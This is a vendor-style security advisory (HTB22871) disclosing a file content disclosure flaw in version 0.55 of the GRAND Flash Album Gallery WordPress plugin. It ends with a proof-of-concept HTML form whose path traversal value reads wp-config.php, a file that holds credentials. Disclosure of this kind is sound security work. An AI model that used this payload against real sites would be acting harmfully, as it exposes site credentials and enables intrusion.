HTB22871: File Content Disclosure in GRAND Flash Album Gallery wordpress plugin

[advisory@xxxxxxxxxxx]

Vulnerability ID: HTB22871
Reference: 
http://www.htbridge.ch/advisory/file_content_disclosure_in_grand_flash_album_gallery_wordpress_plugin.html
Product: GRAND Flash Album Gallery wordpress plugin
Vendor: Sergey Pasyuk  ( http://codeasily.com/ ) 
Vulnerable Version: 0.55
Vendor Notification: 22 February 2011 
Vulnerability Type: File Content Disclosure
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing 
(http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the 
"/wp-content/plugins/flash-album-gallery/admin/news.php" script to properly 
sanitize user-supplied input in "want2Read" variable.
Successful exploitation of this vulnerability allows remote attacker to obtain 
content of arbitrary file accessible within the context of vulnerable 
application.

The following PoC is available:


<form 
action="http://[host]/wp-content/plugins/flash-album-gallery/admin/news.php"; 
method="post" name="main" >
<input type="hidden" name="want2Read" value="../../../../wp-config.php" />
<input type="submit" value="submit" name="submit" />
</form>